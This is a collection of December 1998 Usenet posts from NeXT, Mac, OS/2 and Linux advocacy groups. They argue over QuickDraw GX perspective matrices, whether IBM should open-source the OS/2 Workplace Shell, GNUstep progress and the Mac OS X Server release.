* "The general representation of a perspective transform is
* |a11 a12 a13|
* [x', y', w'] = [u, v, w]|a21 a22 a23|
* |a31 a32 a33|
* where x =x'/w' and y = y'/w'.
Wolberg does not use the term 3D perspective transform anywhere in
the entirety of chapter 3.
* A perspective transform, . . .
<<<< Quote Snipped >>>>
On page 45, Wolberg states:
Many simple spatial transformation can be expressed in
terms of the general three by three transformation
matrix . . . It handles scaling, shearing, rotation,
reflection, translation, and perspective in 2D. Without
loss of generality, we shall ignore the component in the
third dimension since we are only interested in 2-D image
projections . . .
And on page 46, Wolberg states:
The three by three transformation matrix can best be
understood by partitioning it into four separate sections.
Here I show the matrix with its sections [quadrants] delineated:
a b | p
c d | q
--------+---
Tx Ty | S
a, b, c, and d are the *2-D* scale and rotation components. Tx
and Ty are the *2-D* translation components. S is the overall
*2-D* scaling component, and p and q are the *2-D* projection or
perspective components. By setting p and/or q non-zero, you
obtain projection effects that one can at best describe as
'pseudo-perspective'. You can not get 3-D transformations with
this matrix.
And on page 46, Wolberg further states:
The general three by three matrix used to specify 2-D
coordinate transformations operates in the homogeneous
coordinate system.
Section 3.4 --- PERSPECTIVE TRANSFORMATIONS --- on page 52:
Not a single mention of three-D anything.
* [yes, I know: give the man a half-read, half-understood graphics
* book and he thinks that he knows something... I'm no graphics or
* math whiz, either]
You said it. Notice once again how you selected your material
very carefully to reinforce your position. But reading Wolberg,
he says nothing about 3-D perspective transforms in the chapter,
and you appear to have carefully avoided quoting the parts where
Wolberg specifically states that the general three-by-three
describes two-D transformations. So if you really believe that
QuickDraw GX three by three matrices provide three-D transforms, I
propose a simple test. Using QuickDraw GX's three-by-three matrices,
please demonstrate the following:
o write a three-D translation matrix,
o write a three-D scale matrix,
o write a three-D rotation matrix for the x, y, and
z axes, respectively,
o write a one-point three-D perspective matrix,
o write a two-point three-D perspective matrix,
o write a three-point three-D perspective matrix
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 1 Dec 98 12:32:56 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B289927F-8297@206.165.43.86>
References: <3663b0b8$0$200@nntp1.ba.best.com>
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nntp://news.primenet.com/comp.sys.next.advocacy
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>07/18/98 "(0.1a due out by next week, finally)" Here you also started
>talking about GXFCN "Mark II", realizing that your original
>implementation was probably doomed for lack of Hypercard programmers.
>
>So what's the scoop?
Ever had a son have a nervous breakdown?
Lots of fun.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 1 Dec 98 12:34:49 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28992EC-9C4C@206.165.43.86>
References: <F3AMnL.3L3@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <3663b0b8$0$200@nntp1.ba.best.com> Kenneth C. Dyke wrote:
>> On 05/11/98 you were asking if anyone was still interested in it,
>> wondering if you'd wasted 16 months of your life on it so far.
>> [The answer to that would probably be a resounding YES.]
>
> Maybe he stopped to work on this new GX based page layout program he
>claimed to be writing a few days ago.
With GX, a drawing app IS a page-layout app.
Not necessarily a commercial-quality one mind you, but...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 1 Dec 1998 12:49:58 -0800
Organization: Net Squared, Inc.
Message-ID: <741lra$n3v$1@your.mother.com>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <Pine.SGI.3.93.981201115009.16016A-100000@sea.monterey.edu>
josco wrote in message ...
>Network effects.
>
>A company's technology and expertise becomes more valuable as
> more users adopt its technology.
>
>It's a variant of Metcalf's law. It is also a point of debate in the
> MS vs US anti-trust lawsuit.
I suspect that economists may have been familiar with "network effects"
before Bob Metcalf. A "network" doesn't necessarily mean a computer
network, but it is easy to see there. For example, the telephone
network early this century; and the train track network (with standard
track sizes) the century before.
Bob Metcalf's law goes something like, "The value of a network grows
exponentially with the number of users on the network." Anyone have the
exact wording?
In some areas, size does matter.
Todd
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 01 Dec 1998 14:05:43 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36644C17.C5315485@ericsson.com>
References: <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <7243tf$4a5@magus.cs.utah.edu> <slrn764cuj.o6h.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> No. I agree that there are Republicans of deep integrity who are
> skeptical of Microsoft's business practices.
As opposed to Republicans who *lack* integrity for sticking to
free-market principles. The same people who are working to dismantle the
tax code, provide school vouchers so that children don't graduate
without having learned to read the English language, and end the
institutionalized racism so prevalent in this country.
These people, for distrusting the government, for attempting to return
power to people and the states who represent them, lack integrity. Of
course. This, apparently, is what passes for reasoned thought in San
Diego. Doesn't surprise me.
[cut]
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: possum@tree.branch (Mike Trettel)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Should OS/2 be open source? (Was: OS/2 and failure)
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <366426f3$1$rfgure$mr2ice@news.primenet.com>
Organization: Twinco, Inc.
Message-ID: <slrn768pcr.c3m.possum@ss5.fred.net>
Date: Tue, 01 Dec 1998 21:54:35 GMT
NNTP-Posting-Date: Tue, 01 Dec 1998 16:54:35 EDT
On Tue, 01 Dec 1998 10:24:15 -0700, esther@bitranch.com <esther@bitranch.com>
wrote:
>on 12/01/98 at 02:39 AM, a1050pi@yahoo.com (Sheldon Gartner) said: |As the
>lowly end users, I'm interested in how difficult it would be make |OS/2's
>WorkPlace Shell open source then port it to Linux. It seems as |though IBM
>is much more likely to give away the OS/2 "family jewels" than |Apple is
>for OSX.
>
>I've heard this suggestion rather often -- and not just from "lowly end
>users." (You don't look lowly to _me_! <warm smile>)
>
>However, despite the idea's appeal, I think it's extremely unlikely to
>happen. In fact, I just wrote a column explaining my reasoning in the
>December issue of _extended attributes_, the magazine of the Phoenix OS/2
>Society. Because that issue is on its way to Society members, I won't
>repeat the reasons here.
>
>--Esther
Esther, is there a URL for the above? I would love to read your reasoning
on this matter.
--
===========
Mike Trettel trettel (Shift 2) fred (dinky little round thing) net
Skep-Ti-Cult # 157-894589-983 ICQ # 15339850
I don't buy from spammers. No exceptions. Fix the reply line to mail me.
From: esther@bitranch.com
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Should OS/2 be open source? (Was: OS/2 and failure)
Date: Tue, 01 Dec 1998 16:36:58 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <36647e6e$2$rfgure$mr2ice@news.primenet.com>
References: <365D8F89.87AF75E7@csi.com>
<366067bb$1$rfgure$mr2ice@news.primenet.com>
<8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net>
<366426f3$1$rfgure$mr2ice@news.primenet.com>
<slrn768pcr.c3m.possum@ss5.fred.net>
possum@tree.branch (Mike Trettel) said:
|Esther, is there a URL for the above? I would love to read your
|reasoning on this matter.
You can read a subset of _extended attributes_ articles at
http://www.possi.org (as well as sign up for a sample issue of the
magazine), but we're intentionally slow about putting our print content
online. Members pay the expenses of mailing out the print magazine, after
all, so it behooves us to service them first. (Plus, Mom taught me, "Why
should they buy the cow when the milk is free?" though in an entirely
different context. <eyes twinkling>)
So the short answer is: No, there isn't a URL for the above article... not
yet.
--Esther Schindler
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Tue, 1 Dec 1998 09:10:51 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <F3A463.MAv@AWT.NL>
References: <36623228.DE3E6D7E@Sun.COM> <19981130122459.26905.00000111@ng53.aol.com>
willadams@aol.com (WillAdams) wrote:
>For those who aren't familiar with GNUstep, it's coming up on half-way done for
>the libfoundation (I think I got that right), with other things progressing
>very well:
>www.gnustep.org
So why are the latest releases from March 1998?
http://www.gnustep.org/AboutGNUstep/ProgressOverview.html
DGS (key system) latest release early July.
I would like to see this happen, but I do not see too much progress.
From: josco <josco@sea.monterey.edu>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 1 Dec 1998 11:58:16 -0800
Organization: CSUnet
Message-ID: <Pine.SGI.3.93.981201115009.16016A-100000@sea.monterey.edu>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <3665f04b.569033@news-server>
On Tue, 1 Dec 1998, Steven C. Den Beste wrote:
> On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
>
> >Not that I would mind it-I would love to see the WPS running on Linux or
> >FreeBSD. It's just not going to happen though-it's more likely that IBM
> >would do the port themselves simply to protect their intellectual property
> >rights.
>
> There's also this: What incentive does IBM have for doing this? Every time
> this comes up people come up with all sorts of reasons why *they* wish IBM
> would do it, but no-one can come up with a plausible motive for *IBM* to do
> this.
>
> How would releasing the WPS source benefit IBM? How would it increase their
> profit? Since your hope is to port it to Linux, all that does is increase
> the competitive pressure on OS/2 and cause profits to decline. How is that a
> good thing for IBM?
Network effects.
A company's technology and expertise becomes more valuable as more users
adopt its technology.
It's a variant of Metcalf's law. It is also a point of debate in the MS
vs US anti-trust lawsuit.
I'm always willing to help a newbie understand the fundamentals of the
computer industry. Any other questions?
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody release??
Date: Tue, 01 Dec 1998 23:26:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <741tva$atr$1@nnrp1.dejanews.com>
References: <741ges$vhl$1@coranto.ucs.mun.ca>
me@seifert.educ.mun.ca (Tim Seifert) wrote:
> Has Rhapsody been released yet? Some are telling me that MacOS 8.5 is
> Rhapsody. Is this so?
No, OS8.5 is definitely NOT Rhapsody.
What used to be called Rhapsody is now known as OS X Server. And no, that's
not been released yet, although almost everyone seems to believe that it's
ready to ship, and has been for some time. Apple has said absolutely nothing,
except that when a "MacOS X Server is cancelled" rumor came up about a month
ago, they eventually said that no, it wasn't cancelled and was expected to
ship this year. Current conventional wisdom is that it probably will be
released at Macworld SF in early January, but that doesn't seem to be based
on any solid information. No word on pricing, either.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: esther@bitranch.com
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Should OS/2 be open source? (Was: OS/2 and failure)
Date: Tue, 01 Dec 1998 10:24:15 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <366426f3$1$rfgure$mr2ice@news.primenet.com>
References: <365D8F89.87AF75E7@csi.com>
<366067bb$1$rfgure$mr2ice@news.primenet.com>
<8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net>
on 12/01/98 at 02:39 AM, a1050pi@yahoo.com (Sheldon Gartner) said: |As the
lowly end users, I'm interested in how difficult it would be make |OS/2's
WorkPlace Shell open source then port it to Linux. It seems as |though IBM
is much more likely to give away the OS/2 "family jewels" than |Apple is
for OSX.
I've heard this suggestion rather often -- and not just from "lowly end
users." (You don't look lowly to _me_! <warm smile>)
However, despite the idea's appeal, I think it's extremely unlikely to
happen. In fact, I just wrote a column explaining my reasoning in the
December issue of _extended attributes_, the magazine of the Phoenix OS/2
Society. Because that issue is on its way to Society members, I won't
repeat the reasons here.
--Esther
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Tue, 01 Dec 1998 14:24:39 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36645087.CDA83631@ericsson.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
<F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <F3Ao9L.4JE@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
[cut]
> This post is a joke, right? I always find the usenet amazing.
It is rather amusing. It's just a small demonstration of how
irrationally people will act and speak when their ideological
committments are being trampled. Seems like everyone these days has to
have a 'cause'.
It happens everywhere. Linux people are as bad as anyone. It's bad
enough that posting to talkback forums criticizing a *specific software
product* will get you flamed by people who loved it, couldn't get
enough, can't wait for the upgrade, etc.
Nobody seems to feel as if their opinions are important unless they
shout them. It's probably the same pathology that puts whining starlet
bands behind the microphone at awards banquets talking about saving baby
seals or some other topic that completely escapes their comprehension.
[cut]
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 2 Dec 1998 01:06:51 GMT
Organization: AOL http://www.aol.com
References: <F3A463.MAv@AWT.NL>
Message-ID: <19981201200651.01158.00000162@ng-cg1.aol.com>
Well, perhaps there's some news at:
http://gnustep.current.nu
I believe the most up-to-date stuff is being maintained in a CVS...
and here's a post recently made stating the progress of that week:
--re-post follows--
Subj: Weekly news update
Date: 98-11-27 16:45:52 EST
From: richard@brainstorm.co.uk (Richard Frith-Macdonald)
To: discuss-gnustep@gnu.org (GNUstep discussion)
Well, not a lot of news on gstep-base this week - a few minor bugfixes and
performance improvements, the most significant of which is probably the
alteration of the implementation of [NSObject -respondsToSelector:] which
speeds the method up by about an order of magnitude (depends on the class
and the selector of course). This was possible because the GNU Objective-C
runtime uses a sparse array to builds a despatch table of all the methods of
a class, and that array can be checked much faster than searching through the
list of methods in a class to see is a method is implemented.
Other stuff - I added support for services to the NSText class and
implememented an example services provider program.
Also of note - I upgraded the 'Greg' test framework to work with the newly
released Guile-1.3 (though it should still work with Guile-1.2). I'm still
desparate for volunteers to write testcases for the base library.
--end re-post--
The holiday seems to've slowed traffic on the GNUstep discussion list
somewhat--hopefully it'll pick up again soon.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Wed, 02 Dec 1998 00:37:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <742247$efi$1@nnrp1.dejanews.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net>
In article <3663A2B1.854@earthlink.net>,
skellener@earthlink.net wrote:
> Isn't this "NeXT Advocacy" Maury?
>
> You always seem to put down all the things that were great about NeXT.
> Especially the interface. I realize that NeXT is no more, but I'm
> really not sure why you always post against anything anybody happens to
> say they like about NeXT/Openstep. Just wondering, why do you even read
> this group if you don't like anything NeXT had to offer?
>
Oooh, I don't think that's really fair. I know Maury didn't like the
interface, but he certainly liked the technology enough to go and work for an
ex-NeXT-now-McOX company. He's been one of the most interesting (from a
biased perspective! :-) examples of an ex-Mac chap who's "seen the light" --
he's grok-ed the comcepts rather better than many long-time NeXT-users, and
made a valuable contribution to this ng.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: kwilas@stardock.net (Kris Kwilas)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Wed, 02 Dec 1998 01:25:49 GMT
Organization: Stardock Systems - http://www.stardock.com
Message-ID: <7424m0$cof$2@denws02.mw.mediaone.net>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <3664116B.8EF3ED09@mohawksoft.com>
In article <3664116B.8EF3ED09@mohawksoft.com>, Mark Woodward <markw@mohawksoft.com> wrote:
>Steven C. Den Beste wrote:
>> On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
>> There's also this: What incentive does IBM have for doing this? Every time
>> How would releasing the WPS source benefit IBM? How would it increase their
>This is the easiest question, why should IBM port WPS to Linux? Many
>many reasons:
Not quite that simple . . .
>Give the OS/2 users an upgrade path.
A WPS on Linux does _not_ give OS/2 users an upgrade path because that does
nothing for the underlying OS/2 API's that most programs are written to. The
WPS is only a small part of OS/2.
>Work out a lot of OS/2 to Linux issues and issue an IBM Linux with WPS.
>(Which would be Soooo cool)
While I would climb mountains for a WPS on Linux or NT, there are a host of
issues to overcome w/regards to matters other than just providing it.
>The prospect of an IBM Linux would be very cool, it could allow IBM to
>sell into the high volume x86 market without Windows NT.
Cool doesn't matter. How does this fit into IBM's providing of solutions and
their plans for network computing?
If anything, based on their current strategy, a Java-based WPS would be their
target for deployment on everything from NC's to an interface to AS/400's and
mainframes.
>It would make a great companion to AIX.
And IBM would want a free "companion" to AIX because? AIX sells hardware and
the software. Take out the base of the software end (AIX) and consider someone
other than IBM for the hardware (just about any x86 vendor) and IBM is
suddenly back to only having the chance to sell a Linux-solution based on
another product. So, we're back to square one. :-)
>They are already in the process of helping out SCO, why not port to
>Linux as well.
They're in the process of developing a new version of UNIX with SCO, right?
Best thing from IBM's perspective to be to provide a competitive advantage for
that based on the WPS rather than fragmenting the market.
>I doubt there are any "trade" secrets or patents in WPS that mean
>anything if OS/2 does without a WPS successor.
Huh? As OS/2 w/the WPS is going to continue in one form or another for the
forseeable future (anyone who can see past that, please send me SuperBowl
winners and stock tips!), this is a moot point for IBM "open sourcing" the
WPS.
Kris
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 2 Dec 1998 01:23:57 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <7424rd$g1k$1@cronkite.cs.umd.edu>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F3Ao9L.4JE@T-FCN.Net>
NNTP-Posting-Date: 2 Dec 1998 01:23:57 GMT
Maury Markowitz (maury@remove_this.istar.ca) wrote:
> In <3663A2B1.854@earthlink.net> Steve Kellener wrote:
> > Isn't this "NeXT Advocacy" Maury?
> >
> > You always seem to put down all the things that were great about NeXT.
> Facinating. Can you name five examples?
Sure, I can name a baker's dozen.
0. All-important emphasis of style over price and ergonomics. Of _course_
people should pay $10,000 for a magnesium case and a keyboard that's
stylishly so shallow it's painful to type on.
1. Superfast 25MHz 68030.
2. Mouse thoughtfully constructed with a fast-deteriorating rubber ring
and a cable with tiny, easily breakable wires. Monitor intelligently
designed to dim out and go fuzzy long before its time.
3. MO keenly replaces both the floppy drive and, for those lucky early
adopters, the hard drive.
4. Java runs so well on NeXTSTEP.
5. Y2K and a full-price 4.x upgrade gives all those 3.x users out there
the once-in-a-lifetime chance to sue Apple's pants off.
6. PhoneKit. IndexKit. 3DKit. DBKit. MusicKit. And soon: SoundKit.
7. Listening to its programmer's complaints about the position of the "|"
key, NeXT relegates it to the number pad in the next version of the
keyboard. Result: hot market in used version-1 keyboards gives early
adopters some much-needed pocket change.
8. 4.2 BSD and a host of buggy, security-hole-ridden IP daemons maintain
sysadmins' job security. For added fun, DPS daemon gives outsiders
full root privileges and offers NewsGrazer users some serious
screen-melting fun.
9. The Education Workstation -> The Publishing Workstation -> The
Enterprise Workstation -> The Enterprise OS -> The Enterprise API for
Windows NT -> The Gunk That Runs WebObjects.
10.The NeXT Marketing Team.
11.Appsoft.
12.In a salute to all its faithful NeXTSTEP Intel customers, Apple cans
MacOSX for Intel.
Sean Luke
seanl@cs.umd.edu
:-) <-- for the smiley-impaired
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 1 Dec 98 13:29:41 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B289F4B4-5217@206.165.43.182>
References: <3664293D.3D8A7E56@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
[added csmp.misc back in]
When one talks about a perspective projection onto a viewing plane, this is
a 3D operation, by definition. The fact that the symbols '3' & 'D' don't
appear is irrelevant. Perspective is NOT a 2D graphics operation, but a 3D
one, even if it is only operating on a 2D object.
You are so hung up on my "true 3D" assertion that you are missing the very
important point that mathematically, there is no difference between the 3x3
perspective transform and the higher-order matrix transforms WHERE THEIR
INITIAL CONDITIONS AND CONSTRAINTS OVERLAP. With GX, the 2D object
initially is perpendicular to the Z axis so there is no need for a z
component in the description of the object OR the transform matrix. It is
implicitly ZERO. If you need to again increment the slope of the 2D object
away from the camera after applying the 3x3 perspective transform, you must
refer back to the original orientation of the object and work from there,
rather than from the resultant orientation, but since GX is a retained-mode
system, this is automatic in the default case. The 2D object is still
perpendicular to the camera-view until AFTER the transform is applied -you
just calculate a new transform to obtain the theta + phi perspective rather
than apply phi directly.
As to the rest of your challenges: they are immaterial.
I never claimed that the GX perspective matrix could do any such things.
The QuickTime and GX matrix allows one to apply a 3D perspective to a 2D
object that is initially perpendicular to the camera and nothing more. With
a lot of external calculations, one can simulate changing the orientation
of the camera and so on, but I dont' know how good this looks because the
CameraLibrary that comes with GX is completely undocumented.
The GX/QT 3D perspective is QUITE suitable for standard 2D DTP and 2D
multimedia and is useful for other things (such as cute effects in 2D
games) as well. I never claimed more, or at least never meant to claim more
and if I did, I apologize.
Within the constrains of a 2D desktop publishing and multi-media system,
the 3x3 matrix of GX works "just as well" as the higher-order matrices that
Mike (MacOS X graphics) Paquette is talking about. GX works with 68K
systems. There's no way that the higher-order matrix is going to work
effectively with 68K Macintoshes and there are still over 10 million of
them in use, most of which can effectively use GX but not anything
PowerMac-ish.
The rational thing to do with Carbon and YellowBox graphics is to make GX a
*subset* of the capabilities of the later graphics systems and make a
GX-compatible API to access the newer stuff. In this way, developers can
target ALL color Macintoshes with a single API. In addition, a translation
library to convert GX graphics into the MacOS X graphics system should be
made available. All GX-level stuff can be translated into a
higher-capability system as long as all GX capabilities are available. For
any displayable image, GX's fixed-point coordinate system is a subset of
eQD/YB's floating point coordinate system. If the capabilities of the GX
ink object are available, any GX color and transfer mode can be translated
into the higher-level graphics system.
It is *insane* not to provide backwards compatible support for GX in the
eQD/YB graphics system because at this point, EVERY Macintosh can use GX,
and NONE can use eQD and YB. 5 years from now, there will STILL be Quadras
sitting in some school that can use GX, but they won't be able to talk to
MacOS xx systems, graphics-wise, except via the primitive PICT format or
the non-native EPS/PS format.
And as I have been asserting, QT-based vector drawing is NOT easy compared
to GX-based drawing. With a GX-based word-processor or drawing app, QT
vectors are automatically available. The "right" thing to do is provide a
QT compatibility mode to the GX-PDF superset of graphics capabilities that
will allow an end-user to specify QT-only color and transform capabilities
when typing a letter or drawing a picture. THis would allow automatic
export to QT vectors and make EVERY Carbon/YB-based drawing/DTP/WP app a QT
vectors exporter, thereby increasing the number of available QT vector
images by a few dozen orders of magnitude.
By the same token, EVERY Carbon/YB-app should be able to import GX and QT
vectors images while retaining the hierarchical structure of the GX images.
68K machines could be used to churn out scripted GX images that can be
converted to PS/EPS/eQD/YB/QT for later use.
I can't imagine that I am the only one who sees this as useful, and in
fact, every DTP person who has ever used HyperCard or examined the color
capabiltiies of GX, WILL see it as useful, because by definition, such
people CAN use GXFCN (a HyperTalk scripting external of GX's API that will
run on nearly all color Macintoshes with enough RAM and a copy of
HyperCard).
Henry McGilton <henry@trilithon.com> said:
>Lawson English wrote:
> * Henry McGilton <henry@trilithon.com> said:
> * * Tried to describe 'true' 3D transforms in a three-by-three
> * * matrix. The scale, rotate, and translate components ended up
> * * occupying the same place(s) in the matrix, and there was
> * * nowhere to specify the components for three-D perspective.
> * * Obvious I'm no graphics or math whiz . . .
>
> * Here's what George Wolberg (who IS a graphics/math whiz) says
> * about the 3D perspective transform:
> * "The general representation of a perspective transform is
> * |a11 a12 a13|
> * [x', y', w'] = [u, v, w]|a21 a22 a23|
> * |a31 a32 a33|
> * where x =x'/w' and y = y'/w'.
>Wolberg does not use the term 3D perspective transform anywhere in
>the entirety of chapter 3.
>
> * A perspective transform, . . .
>
> <<<< Quote Snipped >>>>
>
>On page 45, Wolberg states:
> Many simple spatial transformation can be expressed in
> terms of the general three by three transformation
> matrix . . . It handles scaling, shearing, rotation,
> reflection, translation, and perspective in 2D. Without
> loss of generality, we shall ignore the component in the
> third dimension since we are only interested in 2-D image
> projections . . .
>And on page 46, Wolberg states:
> The three by three transformation matrix can best be
> understood by partitioning it into four separate sections.
>Here I show the matrix with its sections [quadrants] delineated:
>
> a b | p
> c d | q
> --------+---
> Tx Ty | S
>
>a, b, c, and d are the *2-D* scale and rotation components. Tx
>and Ty are the *2-D* translation components. S is the overall
>*2-D* scaling component, and p and q are the *2-D* projection or
>perspective components. By setting p and/or q non-zero, you
>
>obtain projection effects that one can at best describe as
>'pseudo-perspective'. You can not get 3-D transformations with
>this matrix.
>
>And on page 46, Wolberg further states:
> The general three by three matrix used to specify 2-D
> coordinate transformations operates in the homogeneous
> coordinate system.
>
>Section 3.4 --- PERSPECTIVE TRANSFORMATIONS --- on page 52:
>Not a single mention of three-D anything.
>
> * [yes, I know: give the man a half-read, half-understood graphics
> * book and he thinks that he knows something... I'm no graphics or
> * math whiz, either]
>You said it. Notice once again how you selected your material
>very carefully to reinforce your position. But reading Wolberg,
>he says nothing about 3-D perspective transforms in the chapter,
>and you appear to have carefully avoided quoting the parts where
>Wolberg specifically states that the general three-by-three
>describes two-D transformations. So if you really believe that
>QuickDraw GX three by three matrices provide three-D transforms, I
>propose a simple test. Using QuickDraw GX's three-by-three matrices,
>please demonstrate the following:
>
> o write a three-D translation matrix,
> o write a three-D scale matrix,
> o write a three-D rotation matrix for the x, y, and
> z axes, respectively,
> o write a one-point three-D perspective matrix,
> o write a two-point three-D perspective matrix,
> o write a three-point three-D perspective matrix
>
> Cheers,
> ........ Henry
>
>============================================================
> Henry McGilton | Trilithon Software
> Boulevardier, Java Composer | Seroia Research
>-------------------------------+----------------------------
> mailto:henry@trilithon.com | http://web.trilithon.com
>============================================================
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Tue, 01 Dec 1998 13:54:43 -0800
Organization: Cygnus Solutions
Message-ID: <366465A3.C353EAE6@cygnus.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <SCOTT.98Nov30210140@slave.doubleu.com> <740rkt$c32$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
>
> scott@nospam.doubleu.com (Scott Hess) wrote:
> > Services are, unfortunately, one of those wildly useful features that
> > nobody knows they miss...
>
> Agreed. And like many things in NeXTSTEP, they're one of those things that's
> almost impossible to describe the advantages of. Like the poster you were
> responding to, everyone thinks "well, I can do that already by just switching
> apps and pasting". It's one of those things you have to use to see just how
> useful it is. Of course, if Apple continues to keep MOSX hidden away in a
> cellar somewhere, it's hard for people to do so.
>
Uh, speaking as that poster, I have seen how useful they are, and I used
them every day for five years. You don't need to preach to the apostate
anymore than you need to preach to the converted. I fully expected that
I would be sorely missing them when I moved back to an X environment..
